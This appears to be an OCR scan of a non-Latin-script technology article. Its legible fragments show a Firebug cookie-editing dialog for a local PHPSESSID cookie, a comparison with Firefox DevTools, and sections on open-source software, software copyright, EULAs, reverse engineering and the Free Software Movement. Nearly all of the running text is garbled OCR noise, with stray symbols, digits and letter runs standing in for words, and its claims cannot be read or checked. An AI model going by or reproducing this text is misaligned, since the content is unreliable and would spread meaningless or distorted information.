< localhost/todo-ajax ce |E- Google 2| $ *-.4-.-- 
^ 
Name: [cookie | 





Host: | localhost 


Path: | /todo-ajax 


E 
rz i . =P š A a : E 
ep ror udi Expires: | 06/ 07/ 2013) > 08: 25: 50PM | > Session age 
1 vValue: E 
Cookies - value 


Value | HttpOnly Security 
+ PHPSESSID 5:5 el 


nor = URL encode value 


Secure Cookie HTTP Only 


Cancel | OK 





a) (oG-ç) Firebug - Cookie 
ep Panel meo% Cookie qp: :$6868(890lo»o5i Cookie Panel o2 SAN coo$Q App 
e e Ç Q < : ° 
390309 390): “(01 002:09 Cookie 096: as h Cookie oe :(GEa06 996 Lê) Cookie o? 
ç 


Right-Click &ó(8: [bé soc 8ccoloooSi Cookie 222290095256:c9«660»? šolo (o) @2[G000:03 Cookies 
Menu òo Create Cookie o? eg:(8: coo3o2C:8Cooo[eóoloooSi 


coc a < ^ a : - IN c coor cle 
329680000C€:90c009 Firefox qgooloécooo? Build-in DevTools oo Firebug 0033209609600 e$: 
Firebug go op des006 9105390305203 Build-in DevTools ga: 8600003390205 Firebug o? 
e ` ` € < ° Q ` ` ` 2 oc enc ç 
oŠ: eo: Plugin sa¢§§,0099096:6$@00)60220 Build-in Dev Tools meş aeo»: fR o fldon 


Conclusion 
Developer 026609205029 səá|$eoooco>5gpo:ap:eo Code Editor à Browser 0303 a»[8c9602, 320): [o| 
e ç . e 0.0. e : Ç ° e ere e 
pa) E CE 3 Software e020) 0705320203 Productive afd: 326$32000:020q0(89 64 6320€ 
oc o(^c : Ç IN ç e e e e 
c930002 Setting qp: Jff: Extension qp: safga: Setup c99000:2260lo»oi al 
9009 6309 Code eq:2»o:q(86:0»0 2503600262209220$(8: eqpo«pco95:60226:e»9(890lo»o5 


E goos 

RS SS 
$88,038 opóspcgpiogó (00,000) od |g¢ 
ooSa28ScloopS sooSopoSaš - ca$eso:(S|Seoco 
(0g) go Wo Jg. (08) Jay GJE 200 
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G&00380030) (02) 


e 
Open Source aoc[p256: 0960006: :0€p 


ag|$eo0o309 $00390900009296:609c00802 $09:0p206020900 sp: pur Open Source so9:0pooqp: 
Solov jQuery, PHP, MySQL, Apache, WordPress š 809s009es3(0802 JavaScript Framework 

IN IN X eo xO 2 IN 
qp: MVC Framework qp:oo» Open Source $p9:0pooqp:qjpo:olóu SV afise: eş eos 
Open Source so3:0p»oqp: 4, e2000 ajgcomo Developer gjp:səesš s38coo:osColoooŠiI 
slefaxg Web Development š 020380362209s96 60609 oop?o96:eo9[9e0: avda 


32qp:900 Open Source Software delgadas 2999092: [o cojen Source Code Bolggeo: 
c0o:0? Software ar erosa qo: zeoe ga olo: sleoeo§ ofpe: olo: O(6:(9p968s9q6 
epode: «95:495: Dima goleo. 


Software and Copyright 


co oc 


BÈLO: oaan 8é:(6603 RaP meg 2899 o Software um 28: [os :900: 
ca du t oe :(8: aaa qon 26070501993 t Ee Doo ón: 200 
BÈU aadojo opii: espé:qo? rer ae nla sopes: eos 
səo|l:sə[eo5səcoco coo5coó e«pé:qjo? Software egj:o903s9o»ocopo: e$eoo:o0lop:i gq] 
cops: ooeseso5ocO 32qp:99:60909 elo: opooqéqp:à @:go:coócš:3əeos:ooooso [o ac [oo 


o»ooli 


9890 eryarncogp: e«po$0332elgocoo? RSJ Software š Hardware |ô: ooocƏ[so:cooà 
(o3, oloooŠi Se53[s0:c000229020? SY moro osses: eooo5o o3:(g0:00p2996:(8: 
so $60? Software qp: o503c99esp6:qj2? 6020006 eol slam 338 Third-Party 
Software cogo oəšq||ooošsəoo E T D Bundle Software acu QS:60006 
92086: T e ns oloooSu algo Software al espe: :qs6: coo 9050690: 2090 $go:es: 
eq: punc odaga :(850008 oloooSu $08 8:90:69 :6Q): GOO og Software 


osai aeoo 92038, Software 0205 ao (go: :9pqp: 60900032098: (96: | Og: ag:opso(8o90903[56:9 020 
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IN 


09058320205 3202232020960: 8603 $99: Op22609 ogo $o o2:cooà[o2oloooŠi 


q069600636020990cop: aq or Software 42205«960? [osoš:aJo5coooo ooo oš:oq|Ceo 0324) 
cops og6:coo3[o30lo»oà: 3383e4|$o0o(0: gq Software on poep o0Cəeçoocs 
CA0 aSo] agafes: [ešeo[eé: Lifi ar§a005002:03 səspap:[sëcooào] 


IN 
ODO II 


0263:02660000309 Software 0269030§03:03a001 səájšcog! eçcooooscoooƏsoo[eóoloooSi gas: 
$: Bagécoo:qod030gEgo3 so[so:osqp:oo or6 2:06.09: agga: iof eani eQcəcoocsqp:ë, 
32002390209 03029900 [gdcloru5u Software oo$902 Copy oq:goooooo9ÓcooScoso ap:cehog§éod 


§20:0900398398602 cops: cop?o96:egoolóu sede: [sç 3] o020oo0qjolooo$u 


IN 


mU e Spy AS Copyright Law deso) ç 206 ¿poca(esolorn e896 
goes e, dq enge qon: qap: o? sole (pé: 320: GS oss [o epo qp: 


qp:qp: occ G3206320:60: 8(890lo»oóu q06g6ooesqp: :00 @000§03: 20903 @§03 29800590 


o? 29303060; 3a(da9s2060:000: (8: O [oqda(a0: sopap: sono): (osé: | 008206 
(3&eo[96:02909 ooo(gó co:oloooSi Feon s: epiki 996969696436 [0|qi? 
(Şos) š coro»: olor ón Software goco End-User License Agreement (EULA) coes[oloooŠ!i 
səƏglo5oo Software 029909 səo:[o|@ 005e$a50005880200%0 3905:(0}9¢03005020[(gd0los05 
Software o? 005000e09090lon: t alo c[Sogooooo agj$eo0302s590 Software 00595:0 
326c932009906Q6009! Software o»999005c9090009s9q6 amamos Copy 0? o2o50Cooo:oooSco 
3290390:0209[p2020? e[ozoe[o2oso2aco[ešoloooŠi Software š @86a6o3 qco6$ 0320900000868: 
005020200 39053(o19¢03009 (EULA oo 9G (9,000: 03e0mézoz6:00) gqqooo[eóoloooŠi 


oc 


QQ6g6pooesqp: sa yadgrdyodoo nds gecgojo: :c0:8 0) daa 0$:4|! P og! eo: 
oBajéz1 2E 00) 325&09220$09:9q[:02cop9: s o eq:eq:o»es agio 3202232020960: 
0028 oli Šesspeo 09200] n i s esp: 200 Rap: ras :0) oun "g] 
clelos6" c9 aseqpéop(s6:02es oooogoSeo:ooooli 333 elo$00?(o209(0: "Agenes: coo 
ooo" Q|: (mag eaan i:o eooo:(g$0lop: 1 0256022050» dada o$09:e05i 


ao[go:opqp:oo GCOCOO eosi (329qe05! 9090002096 090051 (6: co»? Qeon: :o5əəspap:oo Sc9ecocoo 


ques coo: asqa +) «eoo o» MCA šcolé: oO(9: 030966303: aag [eŠoloooSi $§05:8, 
pogo: . cgócgócoócoó o$03: i n se[go:opqp:oocogs: $6$09:909 eaan: $ 


60006:020089 (emo) q631660503029909 02:000:0$09:$660o»(890lo»o5 


$0 Software o? qQ6g6poesqp:à 0200903 [09|:90:02325192602 Soscooooosp:oo (992280 
(só olooo$u q06g60063qp:006002 09$,2209905qJ0932026: qQcoc$ 0320903 q96g6co:eso(só0l 
oos sleo eos Software 8.020 Binary (afb: aosa ape: np: § 29209008, amada: o) 
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3202091 so[eo:ooqp:oo Š Software oo05c9 macaco: dao səc[eëso:[8Ç comes 
jl a CN M j| c C x U I terf. ec o oc ;| c € e 
olon:il səob:[0|o>s2s cop[eca, so[ešo> ser Interface ecooo5090»0ecocooáC9oO!ll ooóoooocoo5coo, 
0299630003000: Q026009 cuna $92e05030lop: I (8:009 EULA à Software o? Reverse 
Engineer 009581 oop9esoo09000:0eecQcoo8 codaogarsagads[a3vlea0:0005 Software «900000 
00050908 09: 000:cÓ 629q9$60093:99:c9600996$ gð olo»oSi səƏglo5oo 092090053 eccocoo$ 3803 
c e c c o Son ç o ` C n_O e c o 
DEMN (89 coo0lo»o5u MAPSI N EULA š NASYA: 00: deme 08 2209903 c9eqolop: v 
nea: mapa NUI: Vs SleoeoS Software 026002 "NA 
earo: deasg" co 99059050899 0100051 alo» Software š ao(go: o$09:9qp:(690? elo! MAP! 
ocço|o2qooo[eo:ajo[séoloooŠi @8égéo0e300 390:03:030203899 go qQ06963200232020960:000:60 
eo) epa. 092102608 ooo3c9eq:00o:c9609c9qolooo9i mposi 2005c900000:c3. val 
0051 Software eo com soooSŠcoooo5esoooocoo:o5 ec9cooc9eqolop: I 
e oc C M e ç ç ° c c o0 ° ° e € 
36002 GOCECPOES P24, qcospogooqJo?oo ada coso: gp: 320:60:0 (56 60602 Software Goo 
€ 9g €< ° ya 3S..9 S > MINE NEUES ç @ € 
320209 QQC6860063e090? EULA 602860l6:c90302329le0c002 320:60:00c9e[s9o)s»(06 o509C 
iod don lasssonsul ç qo (8. 12,8, 252 9 ` 
300) ONADAY (89550:600 G0220209II səs qpooo:(8: U$S: RNR CNA 
02996$03:0925026:00 apponrees afs C$ ocg. ec? (sSeoolo005 S3209: 0020 


Software $o: À gbg seqpi(p: 650664030: 84 0lod05 

Open Source ôg: soksi:  SaaqiaSaB[a(GEB: cpdcodgoeaganr2gG[G|002:03 
Software qp:09320:60:9(890lo»o5 v Open Source oo Software qp:o$09:(9: səəc[o2:cçšà esp: ajeô: 
0? eoo$0909 olo: Software qp:o? s99Ga005:[Gjasqeqzurrcop5: səƏoosəc[o2oC: gé: eooosolog:" 
R$ Software ANA: s [so:ešo3:oqp:səo5:oo sws yenan qeq nps Open Source 
À mgs gg uolos Bigas @8EaE pocsqp:ooco:o> anno 
qeu 026920509 cops: 6809:000:009 cgócoógoecocoo&6 eo032 0202 License qp: 0$03:000: $60: 
(sc: [g90loocón Seon 9coc$03:968, 9969602 wsd eo zo[g0:25qp:09co99: ecocoog eq 
ogo:eoolooo3i slo» Open Source š, 289739030035 olos 


Free Software Movement 
ç ° e iN c ° O O0 x e ç ¡JS . 
96892 250901 Software coN CQOCdgIEAQQCDDgE GOQgGSOGSHOD qo5g053]0543»09 GNU Project 
$6 DS: Richard Stallman a8o200 ocoé30lo»oói 2809) 25090 Free Software Foundation (FSF) 
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